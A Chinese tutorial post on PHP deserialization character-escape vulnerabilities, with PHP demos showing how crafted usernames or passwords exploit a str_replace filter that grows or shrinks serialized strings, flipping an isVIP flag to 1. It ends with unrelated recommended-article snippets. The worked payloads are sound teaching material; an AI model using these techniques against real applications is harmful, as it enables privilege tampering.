PHP反序列化字符逃逸的原理

当开发者使用先将对象序列化,然后将对象中的字符进行过滤,

最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。

详解PHP反序列化字符逃逸

过滤后字符变多

我们先定义一个user类,然后里面一共有3个成员变量:username、password、isVIP。

class user{
public $username;
public $password;
public $isVIP; public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

可以看到当这个类被初始化的时候,isVIP变量默认是0,并且不受初始化传入的参数影响。

<?php
class user{
public $username;
public $password;
public $isVIP; public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
} $a = new user("admin","123456");
$a_seri = serialize($a); echo $a_seri;
?>

输出结果如下:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

可以看到,对象序列化之后的isVIP变量是0。

这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:

function filter($s){
return str_replace("admin","hacker",$s);
}

因此整段程序如下:

<?php
class user{
public $username;
public $password;
public $isVIP; public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
} function filter($s){
return str_replace("admin","hacker",$s);
} $a = new user("admin","123456");
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri); echo $a_seri_filter;
?>

这一段程序的输出为:

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

这个时候我们把这两个程序的输出拿出来对比一下:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //未过滤
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤

可以看到已过滤字符串中的hacker与前面的字符长度不对应了

s:5:"admin";
s:5:"hacker";

在这个时候,对于我们,在新建对象的时候,传入的admin就是我们的可控变量

接下来明确我们的目标:将isVIP变量的值修改为1

首先我们将我们的现有子串和目标子串进行对比:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}	//现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串

而目标字串就是我们要注入的目标,长度为47

因为我们需要逃逸的字符串长度为47,并且admin每次过滤之后都会变成hacker,也就是说每出现一次admin,就会多1个字符。

因此,我们只需要重复47遍admin,然后加上我们逃逸后的目标字串

adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

代码如下:

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri); echo $a_seri_filter;

程序输出结果为:

O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

此时一共47个hacker共282个字符正好与前面的282相对应。后面的字符完成了逃逸。

此时多余的字符串就会被抛弃。

我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:

<?php
class user{
public $username;
public $password;
public $isVIP; public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
} function filter($s){
return str_replace("admin","hacker",$s);
} $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter); var_dump($a_seri_filter_unseri);
?>

输出结果如下:

object(user)#2 (3) {
["username"]=>
string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
["password"]=>
string(6) "123456"
["isVIP"]=>
int(1)
}

可以看到这个时候,isVIP这个变量就变成了1,反序列化字符逃逸的目的也就达到了。

过滤后字符变少

此时把class中的hacker改为hack

完整代码如下:

<?php
class user{
public $username;
public $password;
public $isVIP; public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
} function filter($s){
return str_replace("admin","hack",$s);
} $a = new user('admin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri); echo $a_seri_filter;
?>

输出结果:

O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

同样比较一下现有子串和目标子串:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}	//现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串

因为过滤的时候,将5个字符删减为了4个,所以和上面字符变多的情况相反,随着加入的admin的数量增多,现有子串后面会缩进来。

计算一下目标子串的长度:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}	//目标子串
//长度为47

再计算一下到下一个可控变量的字符串长度:

";s:8:"password";s:6:"
//长度为22

因为每次过滤的时候都会少1个字符,因此我们先将admin字符重复22遍(这里的22遍不像字符变多的逃逸情况精确,后面可能会需要做调整)

完整代码如下:(这里的变量里一共有22个admin)

$a = new user("adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin",'123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri); echo $a_seri_filter;

输出结果:

O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

注意:

PHP反序列化的机制是,比如如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。

这里我们需要仔细看一下s后面是110,也就是说我们需要读取到110个字符。从第一个引号开始,110个字符如下:

hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"

也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}	//目标子串

此时的对象为:

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');

输出结果为:

O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

仔细观察这一串字符串可以看到

hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"

一共111个字符,但是前面只有显示110

造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确

解决办法是:多添加1个admin,这样就可以补上缺少的字符。

修改后代码如下:

<?php
class user{
public $username;
public $password;
public $isVIP; public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
} function filter($s){
return str_replace("admin","hack",$s);
} $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri); echo $a_seri_filter;
?>

输出结果为:

O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

我们将对象反序列化然后输出,代码如下:

<?php
class user{
public $username;
public $password;
public $isVIP; public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
} function filter($s){
return str_replace("admin","hack",$s);
} $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter); var_dump($a_seri_filter_unseri);
?>

输出结果:

object(user)#2 (3) {
["username"]=>
string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
["password"]=>
string(6) "123456"
["isVIP"]=>
int(1)
}

可以看到,这个时候isVIP的值也为1,也就达到了我们反序列化字符逃逸的目的了

参考文章

PHP反序列化字符逃逸 学习记录的更多相关文章

  1. 详解PHP反序列化中的字符逃逸

    首发先知社区,https://xz.aliyun.com/t/6718/ PHP 反序列化字符逃逸 下述所有测试均在 php 7.1.13 nts 下完成 先说几个特性,PHP 在反序列化时,对类中不 ...

  2. Python学习记录day5

    title: Python学习记录day5 tags: python author: Chinge Yang date: 2016-11-26 --- 1.多层装饰器 多层装饰器的原理是,装饰器装饰函 ...

  3. git原理学习记录:从基本指令到背后原理,实现一个简单的git

    一开始我还担心 git 的原理会不会很难懂,但在阅读了官方文档后我发现其实并不难懂,似乎可以动手实现一个简单的 git,于是就有了下面这篇学习记录. 本文的叙述思路参照了官方文档Book的原理介绍部分 ...

  4. Python学习记录day6

    title: Python学习记录day6 tags: python author: Chinge Yang date: 2016-12-03 --- Python学习记录day6 @(学习)[pyt ...

  5. 《java从入门到精通》学习记录

    目录 <Java从入门到精通>学习记录 3 基础的基础部分: 3 一. 常量与变量 3 1. 掌握: 3 (1) .常量与变量的声明方式: 3 (2) .变量的命名规则: 3 (3) .变 ...

  6. Android开发技术周报183学习记录

    Android开发技术周报183学习记录 教程 Android性能优化来龙去脉总结 记录 一.性能问题常见 内存泄漏.频繁GC.耗电问题.OOM问题. 二.导致性能问题的原因 1.人为在ui线程中做了 ...

  7. V4L2学习记录【转】

    转自:http://blog.chinaunix.net/uid-30254565-id-5637600.html V4L2学习记录 这个还没有分析完,先在这放着,防止电脑坏掉丢了,以后再完善 V4L ...

  8. Python大神成长之路: 第三次学习记录 集合 函数 装饰 re

    学习记录day03   字符串可以直接切片,But字符串不可修改 字符串修改:生成了一个新的字符串 LIst修改,在原基础上修改(原内存上)     集合是一个无序的,不重复的数据组合,它的主要作用如 ...

  9. Java设计模式学习记录-单例模式

    前言 已经介绍和学习了两个创建型模式了,今天来学习一下另一个非常常见的创建型模式,单例模式. 单例模式也被称为单件模式(或单体模式),主要作用是控制某个类型的实例数量是一个,而且只有一个. 单例模式 ...

  10. 防止sql注入和跨站脚本攻击,跨站请求伪造以及一句话木马的学习记录

    以下是来自精通脚本黑客的学习记录 防止以上漏洞的最好的方式 一对用户的输入进行编码,对用户输入进行编码,然后存入数据库,取出时解码成utf-8 二对用户的输入进行过滤,过滤jscript,javasc ...

随机推荐

  1. ElasticSearch 实现分词全文检索 - 搜素关键字自动补全(Completion Suggest)

    目录 ElasticSearch 实现分词全文检索 - 概述 ElasticSearch 实现分词全文检索 - ES.Kibana.IK安装 ElasticSearch 实现分词全文检索 - Rest ...

  2. Nacos 实现 AP+CP原理[Raft 算法 NO]

    来源于网络 一.什么是 Raft算法 Raft 适用于一个管理日志一致性的协议,相比于 Paxos 协议 Raft 更易于理解和去实现它.为了提高理解性,Raft 将一致性算法分为了几个部分,包括领导 ...

  3. java多线程基础小白指南--关键字识别(start,run,sleep,wait,join,yield)

    在学习java多线程基础上,会遇到几个关键字,理解并识别它们是掌握多线程的必备知识,下面,我将通过源码或者程序演示给出我对这几个关键字的理解,如果有不同意见,欢迎在评论区或者发私信与我探讨. 一.st ...

  4. c#动态执行字符串脚本(优化版)

    像javascript中有eval()来执行动态代码,c#中是没有的,于是自己动手丰衣足食, 先来代码 1 using System; 2 using System.Data; 3 using Sys ...

  5. 使用 Azure OpenAI 打造自己的 ChatGPT

    一.前言 当今的人工智能技术正在不断发展,越来越多的企业和个人开始探索人工智能在各个领域中的应用.其中,在自然语言处理领域,OpenAI 的 GPT 系列模型成为了研究热点.OpenAI 公司的 Ch ...

  6. 在线编写Markdown

    部署 editor.md 实现在线编写MD 安装Nginx服务 apt install nginx yum install nginx 修改Nginx配置 root@cby:~# vim /etc/n ...

  7. [云计算]杂谈:SaaS与PaaS的产品经理,做产品设计时有什么区别?[摘]

    本文摘自: 郝雨彤@碧岸久 于 2022-09-20在社交平台中所表达的观点. 产品性质/类型 服务领域 服务对象(受众) 核心能力 SaaS 面向具体业务 (所属行业的)业务用户 很看重对业务的理解 ...

  8. 逍遥自在学C语言 位运算符 "|" 的5种高级用法

    前言 在上一篇文章中,我们介绍了&运算符的高级用法,本篇文章,我们将介绍| 运算符的一些高级用法. 一.人物简介 第一位闪亮登场,有请今后会一直教我们C语言的老师 -- 自在. 第二位上场的是 ...

  9. Yii2批量插入数据

    方法一 yii2一次插入多行数据  /** * @inheritdoc 批量添加 * @params $add array 添加数据 */ public function add_all($add) ...

  10. Redis(六)集群

    Redis集群 1.1 存在的问题 容量不够Redis如何扩容 并发写操作,Redis如何分摊 当主机或者从机宕机,薪火相传.反客为主等主从模式都会导致ip发生变化,应用程序中的配置需要对应修改主机地 ...